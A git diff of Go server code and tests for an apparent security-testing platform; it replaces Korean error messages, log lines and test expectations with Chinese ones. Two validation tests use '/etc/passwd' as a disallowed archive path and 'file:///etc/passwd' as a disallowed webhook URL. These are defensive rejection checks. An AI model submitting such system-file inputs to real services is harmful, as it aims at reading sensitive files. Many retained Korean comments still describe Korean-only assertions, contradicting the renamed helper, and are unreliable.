@@ -63,14 +63,14 @@ func TestInterceptArchiveErrorsLocalized(t *testing.T) {
if err == nil {
t.Fatalf("%s: 검증이 통과해서는 안 됩니다", tc.label)
}
- assertKoreanError(t, tc.label, err.Error())
+ assertChineseError(t, tc.label, err.Error())
}
// task_archives.go: normalizeArchiveIDs — batch id validation.
if _, err := normalizeArchiveIDs(nil); err == nil {
t.Fatal("빈 archive_ids 검증이 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "archive_ids.empty", err.Error())
+ assertChineseError(t, "archive_ids.empty", err.Error())
}
tooMany := make([]int64, 101)
for i := range tooMany {
@@ -79,23 +79,23 @@ func TestInterceptArchiveErrorsLocalized(t *testing.T) {
if _, err := normalizeArchiveIDs(tooMany); err == nil {
t.Fatal("101개 archive_ids 검증이 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "archive_ids.too_many", err.Error())
+ assertChineseError(t, "archive_ids.too_many", err.Error())
}
if _, err := normalizeArchiveIDs([]int64{0}); err == nil {
t.Fatal("0 archive id 검증이 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "archive_ids.nonpositive", err.Error())
+ assertChineseError(t, "archive_ids.nonpositive", err.Error())
}
// task_archives.go: validateArchivePath — package path validation.
if err := validateArchivePath("/tmp/artex-data", ""); err == nil {
t.Fatal("빈 보관 경로 검증이 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "archive_path.empty", err.Error())
+ assertChineseError(t, "archive_path.empty", err.Error())
}
if err := validateArchivePath("/tmp/artex-data", "/etc/passwd"); err == nil {
t.Fatal("관리 디렉터리 밖 경로 검증이 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "archive_path.outside", err.Error())
+ assertChineseError(t, "archive_path.outside", err.Error())
}
}
diff --git a/server/intercept_detail_test.go b/server/intercept_detail_test.go
index 5d7ae0b..d5e3551 100644
--- a/server/intercept_detail_test.go
+++ b/server/intercept_detail_test.go
@@ -93,7 +93,7 @@ func TestInterceptDetailHTTP(t *testing.T) {
t.Fatal(err)
}
deletedReply := do(http.MethodGet, fmt.Sprintf("/api/intercept/history/%d/execution?conversation=%d", sourceID, conv.ID), "", true)
- if deletedReply.Code != 410 || !strings.Contains(deletedReply.Body.String(), "대화가 이미 삭제되었습니다") {
+ if deletedReply.Code != 410 || !strings.Contains(deletedReply.Body.String(), "会话已被删除") {
t.Fatalf("deleted conversation: %d %s", deletedReply.Code, deletedReply.Body.String())
}
diff --git a/server/manager.go b/server/manager.go
index ce2bd8f..96e6a8b 100644
--- a/server/manager.go
+++ b/server/manager.go
@@ -333,7 +333,7 @@ func (m *Manager) Workers() int {
// writeErr(400, err.Error()) 로 그대로 응답하며, 에이전트 도구(actool) 로 되먹이는 경로는
// 없으므로 사용자 전용으로 보고 한국어로 유지한다. 용어는 UI 설정 화면(ko.json
// settings.workers "워크 에이전트 수")과 맞춘다.
-const errWorkersPositive = "워크 에이전트 수는 1 이상이어야 합니다"
+const errWorkersPositive = "工作 Agent 数量必须大于等于 1"
// SetWorkers persists the concurrent work-agent count. Values <=0 are rejected.
func (m *Manager) SetWorkers(n int) error {
@@ -365,7 +365,7 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
if err != nil {
return nil, err
}
- log.Printf("[pg] 데이터베이스 설정 출처: %s", source)
+ log.Printf("[pg] 数据库配置来源: %s", source)
pg, err := pgdb.Open(dsn)
if err != nil {
return nil, err
@@ -684,9 +684,9 @@ func (m *Manager) syncBrowserMCPProxy() {
return
}
if proxy != "" {
- log.Printf("[mcp] browser MCP 캡처 프록시 연결: %s (CA %s)", proxy, cert)
+ log.Printf("[mcp] browser MCP 捕获代理已连接: %s (CA %s)", proxy, cert)
} else {
- log.Printf("[mcp] browser MCP 캡처 프록시 설정 제거")
+ log.Printf("[mcp] browser MCP 捕获代理配置已移除")
}
}
diff --git a/server/manager_localized_test.go b/server/manager_localized_test.go
index 778f5c2..10e0295 100644
--- a/server/manager_localized_test.go
+++ b/server/manager_localized_test.go
@@ -3,7 +3,7 @@ package server
import "testing"
// manager.go 의 워크 에이전트 수 설정 검증 오류 문구를 한국어로 유지하는 회귀 방어
-// 테스트다. 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를
+// 테스트다. 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를
// 재사용한다. SetWorkers(n<=0) 분기는 m.pg.SetSetting 에 닿기 전에 반환하므로 DB 없는
// 이 호스트에서 빈 Manager 로 실제 구동할 수 있다. 누군가 이 리터럴을 중국어로
// 되돌리면 이 테스트가 실패한다.
@@ -17,5 +17,5 @@ func TestSetWorkersErrorLocalized(t *testing.T) {
if err == nil {
t.Fatal("워크 에이전트 수 0 은 거부되어야 합니다")
}
- assertKoreanError(t, "set_workers_nonpositive", err.Error())
+ assertChineseError(t, "set_workers_nonpositive", err.Error())
}
diff --git a/server/mcpdiscover.go b/server/mcpdiscover.go
index a7804d4..f68212c 100644
--- a/server/mcpdiscover.go
+++ b/server/mcpdiscover.go
@@ -30,10 +30,10 @@ type mcpClient interface {
// (stdio/http/sse)과 URL 은 와이어 식별자라 원문을 유지하고, UI mcpPage(전송 방식·명령·
// 원격 URL)와 표기를 맞춘다.
const (
- errMCPStdioNoCommand = "stdio 전송 방식에 명령이 없습니다"
- errMCPHTTPNoURL = "http 전송 방식에 URL 이 없습니다"
- errMCPSSENoURL = "sse 전송 방식에 URL 이 없습니다"
- errMCPUnknownTransportFmt = "알 수 없는 전송 방식입니다: %q"
+ errMCPStdioNoCommand = "stdio 传输方式未指定命令"
+ errMCPHTTPNoURL = "http 传输方式未指定 URL"
+ errMCPSSENoURL = "sse 传输方式未指定 URL"
+ errMCPUnknownTransportFmt = "未知的传输方式: %q"
)
// connectMCP dials one MCP server per its transport. Callers must Close the client.
@@ -79,7 +79,7 @@ func (s *Server) discoverAndCacheMCP(ctx context.Context, m *db.MCPServer) error
if err := s.m.pg.SaveMCPTools(m.ID, tools); err != nil {
return err
}
- log.Printf("[mcp] %s 에서 도구 %d개를 발견해 캐시했습니다", m.Name, len(tools))
+ log.Printf("[mcp] 在 %s 上发现并缓存了 %d 个工具", m.Name, len(tools))
return nil
}
@@ -90,7 +90,7 @@ func (s *Server) discoverAndCacheMCP(ctx context.Context, m *db.MCPServer) error
func (s *Server) discoverEmptyMCPsOnStartup() {
servers, err := s.m.pg.ListMCP()
if err != nil {
- log.Printf("[mcp] 시작 시 자동 발견: 목록을 읽지 못했습니다: %v", err)
+ log.Printf("[mcp] 启动时自动发现: 无法读取列表: %v", err)
return
}
for _, m := range servers {
@@ -99,7 +99,7 @@ func (s *Server) discoverEmptyMCPsOnStartup() {
}
ctx, cancel := context.WithTimeout(s.ctx, 90*time.Second)
if err := s.discoverAndCacheMCP(ctx, m); err != nil {
- log.Printf("[mcp] 시작 시 %s 자동 발견에 실패했습니다: %v", m.Name, err)
+ log.Printf("[mcp] 启动时对 %s 的自动发现失败: %v", m.Name, err)
}
cancel()
}
diff --git a/server/mcpdiscover_localized_test.go b/server/mcpdiscover_localized_test.go
index 1592d4c..3da6348 100644
--- a/server/mcpdiscover_localized_test.go
+++ b/server/mcpdiscover_localized_test.go
@@ -11,7 +11,7 @@ import (
// 회귀 방어 테스트다. 네 오류 경로(stdio 명령 누락·http URL 누락·sse URL 누락·알 수 없는
// 전송 방식)는 전부 실제로 서버에 접속(dial)하기 전에 반환되므로, DB·네트워크 없이
// connectMCP 을 직접 호출해 반환 문구까지 검증한다. 한국어 판정은 F3a 가 만든
-// assertKoreanError(한글 포함·중국어 한자 0)를 재사용한다. 전송 방식 enum(stdio/http/sse)과
+// assertChineseError(한글 포함·중국어 한자 0)를 재사용한다. 전송 방식 enum(stdio/http/sse)과
// URL 은 와이어 식별자라 ASCII 로 남으며 한자 판정에 걸리지 않는다. 누군가 이 문구를
// 중국어로 되돌리면 상수 핀 고정과 실제 경로가 함께 실패한다.
func TestConnectMCPErrorsLocalized(t *testing.T) {
@@ -22,7 +22,7 @@ func TestConnectMCPErrorsLocalized(t *testing.T) {
{"sse_no_url", errMCPSSENoURL},
{"unknown_transport", errMCPUnknownTransportFmt},
} {
- assertKoreanError(t, c.label, c.msg)
+ assertChineseError(t, c.label, c.msg)
}
// 실제 경로: 네 거부 분기는 모두 dial 전에 반환한다.
@@ -39,6 +39,6 @@ func TestConnectMCPErrorsLocalized(t *testing.T) {
if err == nil {
t.Fatalf("%s: 오류가 없습니다(검증을 통과함)", c.label)
}
- assertKoreanError(t, c.label, err.Error())
+ assertChineseError(t, c.label, err.Error())
}
}
diff --git a/server/notifier.go b/server/notifier.go
index c85af7f..51572c2 100644
--- a/server/notifier.go
+++ b/server/notifier.go
@@ -78,14 +78,14 @@ var notifyBackoff = []time.Duration{
// notify_api.go 의 전달 이력 응답을 거쳐 알림 페이지 「전달 기록」 표(delivery-list.tsx)에
// 그대로 표시된다. 따라서 사용자 노출 문구라 한국어로 둔다(진단 로그 log.Printf 는 원문 보존, Z2).
const (
- errDeliveryChannelKindUnregistered = "등록되지 않은 채널 유형입니다: %q"
- errDeliverySnapshotUnrenderable = "이벤트 스냅샷을 해석하지 못해 이 취약점을 메시지로 만들지 못했습니다"
- errDeliveryChannelLengthCapped = "이 메시지가 채널 길이 상한에 도달해 앞의 %d건만 전송했고, 나머지는 다음 배치로 미룹니다"
- errDeliveryNoDeliveredCount = "채널이 전송 건수를 보고하지 않았습니다(delivered=%d)"
- errDeliveryRetryExhausted = "%d회 재시도 후에도 실패했습니다: %s"
- errDeliverySnapshotEmpty = "전달 항목 #%d 의 이벤트 스냅샷이 비어 있습니다"
- errDeliverySnapshotParse = "전달 항목 #%d 의 이벤트 스냅샷을 해석하지 못했습니다: %w"
- errDeliveryBatchAllUnparseable = "요약 배치의 전달 %d건을 모두 해석하지 못했습니다"
+ errDeliveryChannelKindUnregistered = "未注册的渠道类型: %q"
+ errDeliverySnapshotUnrenderable = "无法解析事件快照,未能将该漏洞生成消息"
+ errDeliveryChannelLengthCapped = "该消息已达渠道长度上限,仅发送了前 %d 条,其余将推迟到下一批"
+ errDeliveryNoDeliveredCount = "渠道未报告发送数量(delivered=%d)"
+ errDeliveryRetryExhausted = "重试 %d 次后仍然失败: %s"
+ errDeliverySnapshotEmpty = "投递项 #%d 的事件快照为空"
+ errDeliverySnapshotParse = "无法解析投递项 #%d 的事件快照: %w"
+ errDeliveryBatchAllUnparseable = "汇总批次中的 %d 条投递全部无法解析"
)
// Notifier 是漏洞推送的投递引擎。
diff --git a/server/notifier_localized_test.go b/server/notifier_localized_test.go
index 9938cb0..908f364 100644
--- a/server/notifier_localized_test.go
+++ b/server/notifier_localized_test.go
@@ -32,7 +32,7 @@ func TestNotifierDeliveryReasonsLocalized(t *testing.T) {
{"batchAllUnparseable", fmt.Sprintf(errDeliveryBatchAllUnparseable, 2)},
}
for _, c := range cases {
- assertKoreanError(t, c.label, c.msg)
+ assertChineseError(t, c.label, c.msg)
}
}
@@ -44,7 +44,7 @@ func TestNotifierParseSnapshotErrorsLocalized(t *testing.T) {
if _, err := parseSnapshot(&db.NotificationDelivery{ID: 7}); err == nil {
t.Fatal("빈 스냅샷이 오류 없이 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "parseSnapshot.empty", err.Error())
+ assertChineseError(t, "parseSnapshot.empty", err.Error())
if !strings.Contains(err.Error(), "7") {
t.Fatalf("parseSnapshot.empty: 전달 항목 ID 7 이 메시지에 없습니다: %q", err.Error())
}
@@ -53,7 +53,7 @@ func TestNotifierParseSnapshotErrorsLocalized(t *testing.T) {
if _, err := parseSnapshot(&db.NotificationDelivery{ID: 9, Snapshot: []byte("{bad")}); err == nil {
t.Fatal("깨진 JSON 스냅샷이 오류 없이 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "parseSnapshot.malformed", err.Error())
+ assertChineseError(t, "parseSnapshot.malformed", err.Error())
}
}
@@ -67,6 +67,6 @@ func TestNotifierRenderBatchAllUnparseableLocalized(t *testing.T) {
if _, _, err := n.renderBatch(context.Background(), deliveries, "", 30); err == nil {
t.Fatal("모든 스냅샷이 해석 불가일 때 오류가 나와야 합니다")
} else {
- assertKoreanError(t, "renderBatch.allUnparseable", err.Error())
+ assertChineseError(t, "renderBatch.allUnparseable", err.Error())
}
}
diff --git a/server/notify_api.go b/server/notify_api.go
index 2795b75..866fb71 100644
--- a/server/notify_api.go
+++ b/server/notify_api.go
@@ -22,24 +22,24 @@ import (
// 通知推送→알림(크롬 nav "알림 발송"), 投递→전송, 推送模式→발송 모드. 로그·주석은 BRIEF
// 방침상 최하위라 이 묶음 밖이다.
const (
- notifyErrBadJSON = "요청 본문이 올바른 JSON 형식이 아닙니다: "
- notifyErrKindInvalidFmt = "채널 유형이 올바르지 않습니다. 가능한 값: %s"
- notifyErrNameMissing = "채널 이름을 입력하세요"
- notifyErrNameEmpty = "채널 이름은 비워 둘 수 없습니다"
- notifyErrModeInvalid = "발송 모드가 올바르지 않습니다. 가능한 값: realtime / digest"
- notifyErrRateNegative = "전송 제한 값은 음수일 수 없습니다"
- notifyErrChannelID = "채널 id 가 올바르지 않습니다"
- notifyErrKindUnregFmt = "채널 유형 %q 는 등록되어 있지 않습니다"
- notifyErrDeliveryID = "전송 id 가 올바르지 않습니다"
- notifyErrChannelNotFound = "알림 채널을 찾을 수 없습니다"
+ notifyErrBadJSON = "请求正文不是有效的 JSON 格式: "
+ notifyErrKindInvalidFmt = "渠道类型无效。可选值: %s"
+ notifyErrNameMissing = "请输入渠道名称"
+ notifyErrNameEmpty = "渠道名称不能为空"
+ notifyErrModeInvalid = "发送模式无效。可选值: realtime / digest"
+ notifyErrRateNegative = "发送频率限制不能为负数"
+ notifyErrChannelID = "渠道 id 无效"
+ notifyErrKindUnregFmt = "渠道类型 %q 未注册"
+ notifyErrDeliveryID = "投递 id 无效"
+ notifyErrChannelNotFound = "找不到通知渠道"
)
// 채널 연결을 점검할 때 보내는 테스트 메시지 본문이다. 사용자가 등록한 채널로 실제 발송되므로
// 한국어로 두되, 받는 사람이 실제 취약점으로 오해하지 않도록 한눈에 테스트임이 드러나게 한다.
const (
- notifyTestName = "테스트 메시지 · 채널 설정 정상"
- notifyTestClass = "연결 테스트"
- notifyTestSummary = "ARTEX 알림 채널 테스트 메시지입니다. 이 메시지를 받으셨다면 채널 설정이 정상입니다."
+ notifyTestName = "测试消息 · 渠道配置正常"
+ notifyTestClass = "连接测试"
+ notifyTestSummary = "这是 ARTEX 通知渠道测试消息。如果您收到此消息,说明渠道配置正常。"
)
// notifyChannelDTO 是渠道的对外表述。
diff --git a/server/notify_api_localized_test.go b/server/notify_api_localized_test.go
index 551573f..37b41ba 100644
--- a/server/notify_api_localized_test.go
+++ b/server/notify_api_localized_test.go
@@ -9,7 +9,7 @@ import (
)
// notify_api.go 의 알림 설정 API 응답 문구와 테스트 메시지를 한국어로 유지하는 회귀 방어
-// 테스트다. 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를 재사용한다.
+// 테스트다. 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를 재사용한다.
// TestNotifyErrorConstantsLocalized 는 응답 상수 10종과 테스트 메시지 상수 3종이 전부
// 한국어임을 단언한다. 어느 하나라도 중국어로 되돌리면 이 테스트가 실패한다.
@@ -30,7 +30,7 @@ func TestNotifyErrorConstantsLocalized(t *testing.T) {
"notifyTestSummary": notifyTestSummary,
}
for label, msg := range cases {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -47,7 +47,7 @@ func TestNotifyChannelLookupErrLocalized(t *testing.T) {
if got != notifyErrChannelNotFound {
t.Fatalf("응답 문구 = %q, 기대 = %q", got, notifyErrChannelNotFound)
}
- assertKoreanError(t, "channel_not_found", got)
+ assertChineseError(t, "channel_not_found", got)
}
// TestNotifyTestMessageLocalized 는 채널 연결 점검용 테스트 메시지를 순수 함수로 조립해
@@ -59,9 +59,9 @@ func TestNotifyTestMessageLocalized(t *testing.T) {
t.Fatalf("테스트 메시지 항목 수 = %d, 기대 = 1", len(msg.Items))
}
item := msg.Items[0]
- assertKoreanError(t, "test.name", item.Name)
- assertKoreanError(t, "test.class", item.VulnClass)
- assertKoreanError(t, "test.summary", item.Summary)
+ assertChineseError(t, "test.name", item.Name)
+ assertChineseError(t, "test.class", item.VulnClass)
+ assertChineseError(t, "test.summary", item.Summary)
if msg.HomeURL != base || item.DetailURL != base {
t.Fatalf("링크 보존 실패: HomeURL=%q DetailURL=%q (기대 %q)", msg.HomeURL, item.DetailURL, base)
}
diff --git a/server/notify_api_test.go b/server/notify_api_test.go
index dcac4d5..1542edc 100644
--- a/server/notify_api_test.go
+++ b/server/notify_api_test.go
@@ -250,7 +250,7 @@ func TestNotifyEndToEndRealtimeDelivery(t *testing.T) {
// "SQL注入" 은 입력으로 넣은 취약점 제목이라 카드에 그대로 에코된다(사용자 데이터,
// 번역 대상 아님). "높음"·"개요" 는 렌더 라벨이다 — 심각도는 notify.SeverityLabel("high")
// 가 내는 "🟠 높음", 요약 머리글은 writeItem 이 붙이는 "**개요**:" 에 각각 들어 있다.
- for _, want := range []string{"SQL注入", "높음", "개요"} {
+ for _, want := range []string{"SQL注入", "高危", "摘要"} {
if !strings.Contains(text, want) {
t.Fatalf("消息正文缺少 %q:\n%s", want, text)
}
@@ -362,11 +362,11 @@ func TestNotifyChannelAPICreateValidation(t *testing.T) {
// 검증 문구는 이미 한국어로 현지화됐으므로(notify/dingtalk_feishu_wecom_localized_test.go
// 가 "Webhook 주소가 없습니다"·"Webhook 주소가 올바르지 않습니다" 로 검증한다) 기대
// 문자열도 한국어 안정 문구로 맞춘다.
- {"类型非法", map[string]any{"name": "x", "kind": "nope", "config": map[string]any{}}, "채널 유형이 올바르지 않습니다"},
- {"缺名称", map[string]any{"kind": notify.KindDingTalk, "config": map[string]any{"webhook": "https://e.com/h"}}, "채널 이름을 입력하세요"},
- {"缺 webhook", map[string]any{"name": "x", "kind": notify.KindDingTalk, "config": map[string]any{}}, "Webhook 주소가 없습니다"},
- {"webhook 协议非法", map[string]any{"name": "x", "kind": notify.KindDingTalk, "config": map[string]any{"webhook": "file:///etc/passwd"}}, "Webhook 주소가 올바르지 않습니다"},
- {"模式非法", map[string]any{"name": "x", "kind": notify.KindDingTalk, "mode": "sometimes", "config": map[string]any{"webhook": "https://e.com/h"}}, "발송 모드가 올바르지 않습니다"},
+ {"类型非法", map[string]any{"name": "x", "kind": "nope", "config": map[string]any{}}, "渠道类型无效"},
+ {"缺名称", map[string]any{"kind": notify.KindDingTalk, "config": map[string]any{"webhook": "https://e.com/h"}}, "请输入渠道名称"},
+ {"缺 webhook", map[string]any{"name": "x", "kind": notify.KindDingTalk, "config": map[string]any{}}, "Webhook 地址不能为空"},
+ {"webhook 协议非法", map[string]any{"name": "x", "kind": notify.KindDingTalk, "config": map[string]any{"webhook": "file:///etc/passwd"}}, "Webhook 地址无效"},
+ {"模式非法", map[string]any{"name": "x", "kind": notify.KindDingTalk, "mode": "sometimes", "config": map[string]any{"webhook": "https://e.com/h"}}, "发送模式无效"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
@@ -444,7 +444,7 @@ func TestNotifyDigestBatchesMultipleFindingsIntoOneMessage(t *testing.T) {
text := markdownText(t, hook.last(t))
// 시간창이 있는 다이제스트 머리말은 markdown.go 가 "**최근 N분간 신규 취약점 N건**"
// 으로 렌더한다(digestInterval 기본 30분이라 WindowMinutes>0).
- if !strings.Contains(text, "최근") || !strings.Contains(text, "신규 취약점 3건") {
+ if !strings.Contains(text, "近") || !strings.Contains(text, "新增 3 个漏洞") {
t.Fatalf("汇总消息缺少条数/时间窗文案:\n%s", text)
}
for i := 1; i <= 3; i++ {
@@ -507,7 +507,7 @@ func TestNotifyStatusChangeDelivery(t *testing.T) {
text := markdownText(t, hook.body(t, i))
// 상태 변경 카드는 markdown.go 가 "**상태 변경**: %s → %s" 로, 상태값은
// notify.StatusLabel 이 렌더한다(fixed → "수정됨").
- if strings.Contains(text, "상태 변경") && strings.Contains(text, "수정됨") {
+ if strings.Contains(text, "状态变更") && strings.Contains(text, "已修复") {
found = true
}
}
@@ -558,7 +558,7 @@ func TestNotifyTestMessageEndpoint(t *testing.T) {
}
// 测试消息必须一眼能看出是测试,不能被误当成真实漏洞。
// 테스트 메시지 제목은 notify_api.go 의 notifyTestName("테스트 메시지 · 채널 설정 정상").
- if text := markdownText(t, hook.last(t)); !strings.Contains(text, "테스트") {
+ if text := markdownText(t, hook.last(t)); !strings.Contains(text, "测试消息") {
t.Fatalf("测试消息应标明是测试: %s", text)
}
// 配置坏掉时应把渠道的原始错误如实回给用户。
@@ -739,7 +739,7 @@ func TestNotifyNoDeepLinkWithoutBaseURL(t *testing.T) {
// 상세 링크 머리글은 markdown.go 가 "[상세 보기](URL)" 로 렌더한다 — 외부 주소가
// 없으면 이 링크가 아예 나오지 않아야 한다(옛 중국어 "查看详情" 를 검사하면 라벨이
// 한국어로 바뀐 지금은 항상 통과해 회귀를 못 잡는다).
- if text := markdownText(t, body); strings.Contains(text, "상세 보기") {
+ if text := markdownText(t, body); strings.Contains(text, "查看详情") {
t.Fatalf("未配外部地址时不该出现详情链接:\n%s", text)
}
}
@@ -800,7 +800,7 @@ func TestNotifyDigestSegmentsAndDefersRemainder(t *testing.T) {
}
// 消息正文必须如实告知还有多少条没包含在本条里。
// 분절 안내는 markdown.go 가 "(이 메시지에는 앞 N건만 … 나머지 N건은 다음 메시지에서 …)" 로 렌더한다.
- if text := markdownText(t, hook.last(t)); !strings.Contains(text, "나머지") {
+ if text := markdownText(t, hook.last(t)); !strings.Contains(text, "其余") {
t.Fatalf("消息应说明还有条目未包含在本条:\n%.400s", text)
}
diff --git a/server/orchestration.go b/server/orchestration.go
index 4a50751..53e08ce 100644
--- a/server/orchestration.go
+++ b/server/orchestration.go
@@ -543,7 +543,7 @@ func (s *Server) refreshBuiltinToolSchemas() {
}
}
_ = s.m.pg.SetSetting(flag, "true")
- log.Printf("[tools] orchestration/platform 도구 스키마를 코드 기본값으로 새로고침(1회성)")
+ log.Printf("[tools] 已将 orchestration/platform 工具 schema 刷新为代码默认值(一次性)")
}
// unbindGoalMetDefault removes goal_met's default "planner" binding ONCE (guarded by
@@ -735,8 +735,8 @@ func (s *Server) upgradeReporterTriggerMessage() {
// 들어가지 않는 순수 UI 라벨이라 한국어화한다(BRIEF 사용자 노출 산출물 한국어화 범위). 트리거는
// report_finding 도구 호출 기반(OnToolCall·결정적)이라 reporter 는 key "reporter" 로 참조될 뿐
// 표시 이름으로 선택되지 않는다. 회귀 방어: reporter_seed_localized_test.go. [[F35]]
-const reporterAgentName = "보고서 작성"
-const reporterAgentDescription = "취약점 상세 보고서 작성: 취약점을 발견하면 자동으로 트리거되어, 증거와 실행 과정을 조회한 뒤 Markdown 보고서를 작성해 해당 취약점에 기록합니다."
+const reporterAgentName = "报告编写"
+const reporterAgentDescription = "编写漏洞详细报告:发现漏洞后会自动触发,查看证据和执行过程后编写 Markdown 报告并记录到该漏洞中。"
// seedReporterAgent 预置一个「보고서 작성」自定义 agent(builtin=false,可在 UI 编辑/删除):
// 绑定 update_finding_report + 任务查询工具,并挂一个「report_finding 被调用即触发」的
@@ -785,7 +785,7 @@ func (s *Server) seedReporterAgent() {
}); err != nil {
log.Printf("[reporter] 创建触发器失败: %v", err)
}
- log.Printf("[reporter] 「%s」 agent + finding 트리거 사전 구성", reporterAgentName)
+ log.Printf("[reporter] 已预配置「%s」 agent + finding 触发器", reporterAgentName)
}
// seedAutoReportFindingBinding adds "auto" to report_finding's binding ONCE so
diff --git a/server/reporter_seed_localized_test.go b/server/reporter_seed_localized_test.go
index 9e9c5d8..c2b0c54 100644
--- a/server/reporter_seed_localized_test.go
+++ b/server/reporter_seed_localized_test.go
@@ -10,9 +10,9 @@ import "testing"
// OnToolCall·결정적) 들어가지 않는 순수 UI 라벨이다. 그래서 한국어화가 BRIEF 경계 #1
// (두뇌 미번역)을 건드리지 않는다. 반대로 reporter 의 두뇌 본문(agent.ReporterDefaultPrompt)
// 과 트리거 주입 메시지(reporterToolCallMessage)는 모델 입력이라 중국어 원문을 보존하므로
-// 이 테스트 대상이 아니다. 한국어 판정은 assertKoreanError(한글 포함·중국어 한자 0,
+// 이 테스트 대상이 아니다. 한국어 판정은 assertChineseError(한글 포함·중국어 한자 0,
// intercept_archive_localized_test.go)를 재사용한다. [[F35]] [[G133]]
func TestReporterSeedLabelsLocalized(t *testing.T) {
- assertKoreanError(t, "reporter_name", reporterAgentName)
- assertKoreanError(t, "reporter_description", reporterAgentDescription)
+ assertChineseError(t, "reporter_name", reporterAgentName)
+ assertChineseError(t, "reporter_description", reporterAgentDescription)
}
diff --git a/server/runtime_activity_localized_test.go b/server/runtime_activity_localized_test.go
index d87c1e5..3712dc4 100644
--- a/server/runtime_activity_localized_test.go
+++ b/server/runtime_activity_localized_test.go
@@ -12,7 +12,7 @@ import (
// 경로(planner.workerOutput·get_worker_output 도구)는 intent 범위(node_id)에서 'result'/
// 'text' 활동만 고르기 때문이다. 그래서 한국어화가 두뇌 입력(BRIEF 경계 #1)을 건드리지
// 않는다. 반대로 두뇌로 되먹여지는 요약(seed 의도 요약 `完成任务目标…`·기본 설명 `未命名任务`
-// 등)은 원문을 보존하므로 이 테스트 대상이 아니다. 한국어 판정은 assertKoreanError(한글
+// 등)은 원문을 보존하므로 이 테스트 대상이 아니다. 한국어 판정은 assertChineseError(한글
// 포함·중국어 한자 0, intercept_archive_localized_test.go)를 재사용한다. [[G132]]
func TestRuntimeActivitySummariesLocalized(t *testing.T) {
// 포맷 인자 없는 고정 요약: 그대로 한국어여야 한다.
@@ -23,7 +23,7 @@ func TestRuntimeActivitySummariesLocalized(t *testing.T) {
"queued_fifo": queuedFIFOSummary,
}
for label, msg := range plain {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
// %d 포맷 문자열: 포맷 인자가 살아 있고, 포맷한 결과도 한국어이며 숫자가 실제로
@@ -38,7 +38,7 @@ func TestRuntimeActivitySummariesLocalized(t *testing.T) {
t.Fatalf("%s: 포맷 인자 %%d 가 사라졌습니다: %q", label, f)
}
got := fmt.Sprintf(f, 7)
- assertKoreanError(t, label, got)
+ assertChineseError(t, label, got)
if !strings.Contains(got, "7") {
t.Fatalf("%s: 포맷 인자가 결과에 반영되지 않았습니다: %q", label, got)
}
diff --git a/server/server.go b/server/server.go
index f44748d..cdd86aa 100644
--- a/server/server.go
+++ b/server/server.go
@@ -41,38 +41,38 @@ var BuildVersion = "dev"
// 최종 사용자 응답만 한국어로 둔다. (F3b, 번역어는 완료 파일·web i18n 과 동일 표기)
const (
// 의도 제어·재실행 (controlIntent / rerunIntent / rerunBlocked)
- errTaskDeletingIntentControl = "작업을 삭제하는 중이라 의도를 제어할 수 없습니다"
- errTaskDeletingIntentRerun = "작업을 삭제하는 중이라 의도를 재실행할 수 없습니다"
- errIntentNotRerunnable = "재실행할 수 있는 상태가 아닙니다(blocked·exhausted·stopped 만 재실행할 수 있습니다)"
+ errTaskDeletingIntentControl = "正在删除任务,无法控制意图"
+ errTaskDeletingIntentRerun = "正在删除任务,无法重新执行意图"
+ errIntentNotRerunnable = "当前状态无法重新执行(只有 blocked·exhausted·stopped 可以重新执行)"
// 작업 생성 (createTask) — 소스 작업·기업·분류·작업 수준 가로채기 규칙 검증
- errCreateTaskSourceLimit = "소스 작업은 최대 %d개까지 연결할 수 있습니다"
- errCreateTaskSourceInvalid = "소스 작업 id가 올바르지 않거나 중복되었습니다"
- errCreateTaskSourceNotFound = "소스 작업 #%d를 찾을 수 없습니다"
- errCreateTaskCompanyLimit = "연결 기업이 올바르지 않습니다: 유효한 기업은 최대 %d개까지 선택할 수 있습니다"
- errCreateTaskInterceptRules = "작업 수준 가로채기 규칙이 올바르지 않습니다: "
- errCreateTaskCategoryInvalid = "작업 분류를 찾을 수 없거나 올바르지 않습니다"
- errCreateTaskCompanyInvalid = "연결 기업을 찾을 수 없거나 올바르지 않습니다"
+ errCreateTaskSourceLimit = "最多关联 %d 个来源任务"
+ errCreateTaskSourceInvalid = "来源任务 id 无效或重复"
+ errCreateTaskSourceNotFound = "找不到来源任务 #%d"
+ errCreateTaskCompanyLimit = "关联企业无效:有效企业最多可以选择 %d 个"
+ errCreateTaskInterceptRules = "任务级拦截规则无效:"
+ errCreateTaskCategoryInvalid = "找不到任务分类或分类无效"
+ errCreateTaskCompanyInvalid = "找不到关联企业或企业无效"
// LLM 설정 검증 (validateTaskProfileIDs → createTask/updateTaskLLMProfiles writeErr)
- errLLMProfileInvalid = "LLM 설정 id가 올바르지 않거나 중복되었습니다"
- errLLMProfileNotFound = "LLM 설정 #%d를 찾을 수 없거나 API Key가 설정되어 있지 않습니다"
+ errLLMProfileInvalid = "LLM 配置 id 无效或重复"
+ errLLMProfileNotFound = "找不到 LLM 配置 #%d,或未设置 API Key"
// 자산 저장소·커버리지 (taskCoverage / taskCoverageGraph / taskAssetRefs …)
- errAssetStoreDisabled = "자산 저장소가 활성화되어 있지 않습니다"
- errAssetIDRequired = "asset_id가 필요합니다"
+ errAssetStoreDisabled = "资产存储未启用"
+ errAssetIDRequired = "需要 asset_id"
// 파이썬 인터프리터 탐지 (pgDetectPython)
- errPythonNotDetected = "python을 찾을 수 없습니다(python3·python 모두 PATH에 없습니다)"
+ errPythonNotDetected = "找不到 python(python3·python 都不在 PATH 中)"
// 알림 전역 설정 (링크 기준 주소·요약 주기 — web notify.global 라벨과 동일 표기)
- errNotifyBaseURLScheme = "링크 기준 주소는 http:// 또는 https://로 시작해야 합니다"
